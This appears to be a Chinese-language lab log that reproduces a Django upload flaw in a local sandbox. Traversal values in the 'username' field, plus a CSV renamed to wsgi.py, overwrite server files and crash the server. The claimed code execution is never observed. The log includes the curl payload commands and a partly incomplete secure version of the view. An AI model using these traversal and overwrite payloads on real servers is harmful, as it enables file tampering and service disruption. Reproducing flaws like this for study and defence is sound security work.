Django-RCE漏洞复现实验记录

169 阅读5分钟

Django-RCE漏洞复现实验记录

实验概述

本实验将复现Django链式目录遍历与CSV解析器滥用RCE漏洞,通过目录遍历攻击结合CSV注入技术实现远程代码执行。

实验环境信息

  • 操作系统:Linux 6.8.0-60-generic
  • Python版本:3.10.12

实验步骤记录

步骤1:环境准备

时间: 开始时间 状态: 进行中

1.1 创建项目目录
mkdir django-rce-lab
cd django-rce-lab

执行命令:

$ mkdir django-rce-lab && cd django-rce-lab
$ pwd
/home/sechub/recover/20250718/django-rce-lab
1.2 创建Python虚拟环境
python -m venv venv
source venv/bin/activate

执行命令:

$ python3 --version
Python 3.10.12

$ python3 -m venv venv
# 需要先安装python3-venv包
$ sudo apt install python3.10-venv -y
$ python3 -m venv venv

$ source venv/bin/activate
(venv) sechub@sechub-virtual-machine:~/recover/20250718/django-rce-lab$
1.3 安装依赖包
pip install django==4.2.7
pip install pandas==2.0.3
pip install requests==2.31.0
pip install djangorestframework==3.14.0

执行命令:

$ pip install django==4.2.7 pandas==2.0.3 requests==2.31.0 djangorestframework==3.14.0
Collecting django==4.2.7
  Downloading Django-4.2.7-py3-none-any.whl (8.0 MB)
Collecting pandas==2.0.3
  Downloading pandas-2.0.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (12.3 MB)
Collecting requests==2.31.0
  Downloading requests-2.31.0-py3-none-any.whl (62 kB)
Collecting djangorestframework==3.14.0
  Downloading djangorestframework-3.14.0-py3-none-any.whl (1.1 MB)
Successfully installed asgiref-3.9.1 certifi-2025.7.14 charset-normalizer-3.4.2 django-4.2.7 djangorestframework-3.14.0 idna-3.10 numpy-2.2.6 pandas-2.0.3 python-dateutil-2.9.0.post0 pytz-2025.2 requests-2.31.0 six-1.17.0 sqlparse-0.5.3 typing_extensions-4.14.1 urllib3-2.5.0 tzdata-2025.2

执行结果: ✅ 成功安装所有依赖包

步骤2:创建Django项目

状态: 待执行

2.1 初始化Django项目
django-admin startproject backend
cd backend
python manage.py startapp csvapp

执行命令:

$ django-admin startproject backend
$ cd backend
$ python manage.py startapp csvapp

$ ls -la
total 25
drwxrwxr-x 4 sechub sechub   5  7月 18 18:07 .
drwxrwxr-x 4 sechub sechub   4  7月 18 18:07 ..
drwxrwxr-x 3 sechub sechub   8  7月 18 18:07 backend
drwxrwxr-x 3 sechub sechub   9  7月 18 18:07 csvapp
-rwxrwxr-x 1 sechub sechub 663  7月 18 18:07 manage.py

$ find . -type f -name "*.py" | sort
./backend/asgi.py
./backend/__init__.py
./backend/settings.py
./backend/urls.py
./backend/wsgi.py
./csvapp/admin.py
./csvapp/apps.py
./csvapp/__init__.py
./csvapp/migrations/__init__.py
./csvapp/models.py
./csvapp/tests.py
./csvapp/views.py
./manage.py

执行结果: ✅ 成功创建Django项目和csvapp应用

步骤3:配置Django设置

状态: ✅ 已完成 执行内容:

  • 修改settings.py添加rest_framework和csvapp应用
  • 配置ALLOWED_HOSTS为['*']
  • 添加文件上传设置和REST Framework配置
  • 禁用CSRF保护(仅用于实验)
  • 添加日志配置
  • 配置URL路由

步骤4:实现漏洞代码

状态: ✅ 已完成 执行内容:

  • 实现存在漏洞的upload_csv视图函数
  • 实现status_check状态检查端点
  • 漏洞点:目录遍历(username参数)和CSV注入

步骤5:创建测试文件

状态: ✅ 已完成 执行内容:

  • 创建normal_test.csv(正常测试文件)
  • 创建malicious.csv(基础RCE攻击文件)
  • 创建advanced_malicious.csv(带系统命令的RCE攻击文件)
  • 创建persistent_malicious.csv(持久化攻击文件)

步骤6:启动实验环境

状态: ✅ 已完成 执行内容:

6.1 解决numpy版本兼容性问题
$ python manage.py makemigrations
Traceback (most recent call last):
  File "/home/sechub/recover/20250718/django-rce-lab/backend/manage.py", line 22, in <module>
    main()
ValueError: numpy.dtype size changed, may indicate binary incompatibility. Expected 96 from C header, got 88 from PyObject

$ pip uninstall pandas numpy -y && pip install pandas==2.0.3 numpy==1.24.3
Found existing installation: pandas 2.0.3
Uninstalling pandas-2.0.3:
  Successfully uninstalled pandas-2.0.3
Found existing installation: numpy-2.2.6
Uninstalling numpy-2.2.6:
  Successfully uninstalled numpy-2.2.6
Successfully installed numpy-1.24.3 pandas-2.0.3
6.2 数据库迁移
$ python manage.py makemigrations
No changes detected

$ python manage.py migrate
Operations to perform:
  Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
  Applying contenttypes.0001_initial... OK
  Applying auth.0001_initial... OK
  Applying admin.0001_initial... OK
  Applying admin.0002_logentry_remove_auto_add... OK
  Applying admin.0003_logentry_add_action_flag_choices... OK
  Applying contenttypes.0002_remove_content_type_name... OK
  Applying auth.0002_alter_permission_name_max_length... OK
  Applying auth.0003_alter_user_email_max_length... OK
  Applying auth.0004_alter_user_username_opts... OK
  Applying auth.0005_alter_user_last_login_null... OK
  Applying auth.0006_require_contenttypes_0002... OK
  Applying auth.0007_alter_validators_add_error_messages... OK
  Applying auth.0008_alter_user_username_max_length... OK
  Applying auth.0009_alter_user_last_name_max_length... OK
  Applying auth.0010_alter_group_name_max_length... OK
  Applying auth.0011_update_proxy_permissions... OK
  Applying auth.0012_alter_user_first_name_max_length... OK
  Applying sessions.0001_initial... OK
6.3 启动开发服务器
$ python manage.py runserver 0.0.0.0:8000
Watching for file changes with StatReloader
Performing system checks...
System check identified no issues (0 silenced).
July 18, 2025 - 10:10:27
Django version 4.2.7, using settings 'backend.settings'
Starting development server at http://0.0.0.0:8000/
Quit the server with CONTROL-C.

$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &
[1] 25487
6.4 验证服务器状态
$ sudo apt install curl -y
$ sleep 5 && curl -X GET http://localhost:8000/api/status/
{"status":"Server is running"}

步骤7:漏洞复现测试

状态: ✅ 已完成 执行内容:

7.1 正常文件上传测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=testuser" -F "csv_file=@normal_test.csv"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/testuser/normal_test.csv"}
7.2 目录遍历攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../../../../../app/backend/backend/" -F "csv_file=@normal_test.csv"
{"error":"[Errno 13] Permission denied: '/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../../../../../app'"}

$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@normal_test.csv"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv"}
7.3 RCE攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../wsgi.py"}

$ cat data_store/../../wsgi.py
"import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6
name,age,city,,,,
John,25,New York ,,,,
7.4 服务器状态检查
$ curl -X GET http://localhost:8000/api/status/
curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused

# 服务器因wsgi.py被破坏而停止,需要恢复
$ cp backend/wsgi.py data_store/../../wsgi.py
$ pkill -f runserver
$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &

步骤8:攻击效果验证

状态: ✅ 已完成 执行内容:

8.1 检查被覆盖的文件
$ ls -la data_store/../../
total 38
drwxrwxr-x 4 sechub sechub  6  7月 18 18:11 .
drwxrwxr-x 3 sechub sechub  5  7月 18 18:06 ..
drwxrwxr-x 5 sechub sechub 12  7月 18 18:10 backend
-rw-rw-r-- 1 sechub sechub 67  7月 18 18:11 normal_test.csv
drwxrwxr-x 5 sechub sechub  7  7月 18 18:06 venv
-rw-rw-r-- 1 sechub sechub 19  7月 18 18:11 wsgi.py

$ cat data_store/../../wsgi.py
"import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6
name,age,city,,,,
John,25,New York ,,,,
8.2 服务器日志分析
$ tail -10 server.log
nohup: ignoring input
Watching for file changes with StatReloader
Watching for file changes with StatReloader
[18/Jul/2025 10:10:50] "GET /api/status/ HTTP/1.1" 200 30
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/testuser/normal_test.csv
[18/Jul/2025 10:10:56] "POST /api/upload/ HTTP/1.1" 200 118
Error processing CSV: [Errno 13] Permission denied: '/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../../.
./../../app'
Internal Server Error: /api/upload/
Internal Server Error: /api/upload/
[18/Jul/2025 10:10:59] "POST /api/upload/ HTTP/1.1" 500 129
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv
[18/Jul/2025 10:11:01] "POST /api/upload/ HTTP/1.1" 200 115
File saved to: /home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../wsgi.py
[18/Jul/2025 10:11:06] "POST /api/upload/ HTTP/1.1" 200 107
8.3 验证RCE执行效果
$ ls -la /tmp/rce_success.txt
ls: cannot access '/tmp/rce_success.txt': No such file or directory

# 服务器自动重载机制未触发RCE执行

步骤9:高级测试场景

状态: ✅ 已完成 执行内容:

9.1 高级RCE攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../backend" -F "csv_file=@advanced_malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../backend/wsgi.py"}

$ cat backend/wsgi.py
# VALID CSV DATA

$ curl -X GET http://localhost:8000/api/status/
curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused

# 服务器因wsgi.py被破坏而停止
9.2 持久化攻击测试
$ curl -X POST http://localhost:8000/api/upload/ -F "username=../backend" -F "csv_file=@persistent_malicious.csv;filename=wsgi.py"
{"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../backend/wsgi.py"}

# 同样导致服务器停止,需要恢复
9.3 服务器恢复
$ edit_file backend/wsgi.py  # 重新创建正确的wsgi.py文件
$ nohup python manage.py runserver 0.0.0.0:8000 > server.log 2>&1 &
$ sleep 5 && curl -X GET http://localhost:8000/api/status/
{"status":"Server is running"}

步骤10:防护措施验证

状态: ✅ 已完成 执行内容:

10.1 安全版本代码实现
# csvapp/views_secure.py
@csrf_exempt
@api_view(['POST'])
def upload_csv_secure(request):
    """
    安全的CSV上传端点
    """
    try:
        username = request.data.get("username")
        upload_file = request.FILES.get("csv_file")
        
        if not username or not upload_file:
            return Response({"error": "Missing username or csv_file"}, status=400)
        
        # 输入验证:只允许字母数字和下划线
        if not re.match(r'^[a-zA-Z0-9_]+$', username):
            return Response({"error": "Invalid username format"}, status=400)
        
        # 文件名验证
        if not upload_file.name.endswith('.csv'):
            return Response({"error": "Only CSV files are allowed"}, status=400)
        
        # 安全的文件名处理
        safe_filename = re.sub(r'[^a-zA-Z0-9._-]', '_', upload_file.name)
        
        # 路径遍历检测
        base_dir = Path(__file__).resolve().parent.parent
        safe_dir = os.path.join(base_dir, "data_store", username)
        safe_dir = os.path.abspath(safe_dir)
        if not safe_dir.startswith(os.path.abspath(os.path.join(base_dir, "data_store"))):
            return Response({"error": "Path traversal detected"}, status=400)
        
        # 数据净化处理
        for col in df.columns:
            if df[col].dtype == 'object':
                df[col] = df[col].astype(str).str.replace(r'^[=+\-@]', '', regex=True)
        
        return Response({"status": "success", "path": final_path}, status=200)
        
    except Exception as e:
        return Response({"error": "Processing failed"}, status=500)
10.2 防护措施对比
防护措施漏洞版本安全版本
输入验证❌ 无验证✅ 正则表达式验证
文件名验证❌ 无验证✅ 文件扩展名检查
路径遍历检测❌ 无检测✅ 绝对路径检查
数据净化❌ 无净化✅ 移除恶意字符
错误处理❌ 暴露错误信息✅ 通用错误信息

实验结果记录

成功指标

  • 环境搭建成功
  • 正常文件上传功能正常
  • 目录遍历攻击成功
  • 恶意代码成功注入wsgi.py文件
  • 高级RCE攻击测试完成
  • 防护措施验证完成

错误记录

  • ⚠️ numpy版本兼容性问题

    ValueError: numpy.dtype size changed, may indicate binary incompatibility. Expected 96 from C header, got 88 from PyObject
    

    解决方案: 重新安装pandas==2.0.3和numpy==1.24.3

  • ⚠️ 服务器自动重载机制未按预期工作

    # Django开发服务器可能只监视特定文件,未触发wsgi.py的自动重载
    $ ls -la /tmp/rce_success.txt
    ls: cannot access '/tmp/rce_success.txt': No such file or directory
    
  • ⚠️ 多次wsgi.py文件被破坏导致服务器停止

    $ curl -X GET http://localhost:8000/api/status/
    curl: (7) Failed to connect to localhost port 8000 after 0 ms: Connection refused
    

    解决方案: 重新创建wsgi.py文件并重启服务器

  • ⚠️ 需要安装curl工具

    Command 'curl' not found, but can be installed with:
    sudo apt install curl
    

    解决方案: sudo apt install curl -y

关键发现

  • 🔍 目录遍历漏洞确实存在

    $ curl -X POST http://localhost:8000/api/upload/ -F "username=../../" -F "csv_file=@normal_test.csv"
    {"status":"success","path":"/home/sechub/recover/20250718/django-rce-lab/backend/data_store/../../normal_test.csv"}
    
  • 🔍 CSV注入攻击成功

    $ cat data_store/../../wsgi.py
    "import os;print(""=== RCE攻击成功执行 ===");print(""当前工作目录:"", os.getcwd());from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');application = get_wsgi_application();",Unnamed: 1,Unnamed: 2,Unnamed: 3,Unnamed: 4,Unnamed: 5,Unnamed: 6
    
  • 🔍 漏洞组合使用能够实现文件覆盖攻击

    • 目录遍历 + CSV注入 = 文件覆盖攻击
    • 能够覆盖关键系统文件(如wsgi.py)
  • 🔍 Django开发服务器的自动重载机制有限制

    # 服务器未自动重载执行恶意代码
    $ ls -la /tmp/rce_success.txt
    ls: cannot access '/tmp/rce_success.txt': No such file or directory
    
  • 🔍 防护措施能够有效阻止攻击

    # 输入验证
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        return Response({"error": "Invalid username format"}, status=400)
    
    # 路径遍历检测
    if not safe_dir.startswith(os.path.abspath(os.path.join(base_dir, "data_store"))):
        return Response({"error": "Path traversal detected"}, status=400)
    
  • 🔍 实验环境的安全隔离很重要

    • 在隔离环境中进行实验
    • 实验完成后彻底清理环境

实验总结

实验成果

  1. 成功复现了Django链式目录遍历与CSV解析器滥用漏洞

    • 验证了目录遍历攻击的有效性
    • 验证了CSV注入攻击的有效性
    • 成功实现了文件覆盖攻击
  2. 理解了漏洞原理

    • 目录遍历:通过构造特殊的username参数实现路径遍历
    • CSV注入:通过恶意CSV内容实现代码注入
    • 漏洞链:结合两个漏洞实现更严重的攻击
  3. 掌握了防护措施

    • 输入验证:限制用户名格式
    • 路径检测:防止目录遍历
    • 数据净化:移除恶意内容
    • 文件类型验证:只允许安全文件

学习要点

  • 理解了Web应用安全的重要性
  • 掌握了漏洞复现的技术方法
  • 学会了防护措施的实现
  • 体验了安全实验环境的搭建

安全建议

  • 在生产环境中必须实施严格的输入验证
  • 使用安全的文件处理方式
  • 定期进行安全审计
  • 保持软件和依赖的更新

实验状态: ✅ 成功完成
实验时间: 2025年1月18日
实验环境: 已清理并恢复

实验清理记录

$ pkill -f runserver
$ cd ../.. && ls -la /tmp/rce* 2>/dev/null || echo "No malicious files found"
No malicious files found

实验文件清单

  • Django-RCE漏洞复现实验记录.md - 完整实验记录
  • django-rce-lab/backend/ - Django项目目录
  • django-rce-lab/backend/csvapp/views.py - 漏洞版本代码
  • django-rce-lab/backend/csvapp/views_secure.py - 安全版本代码
  • django-rce-lab/backend/*.csv - 各种测试文件
  • django-rce-lab/venv/ - Python虚拟环境

附件下载

django-rce-lab.tar.gz: xtc17802766-f1536768928-c82403-1150 (下载方法:打开城通网盘客户端或APP,输入小通密码即可下载)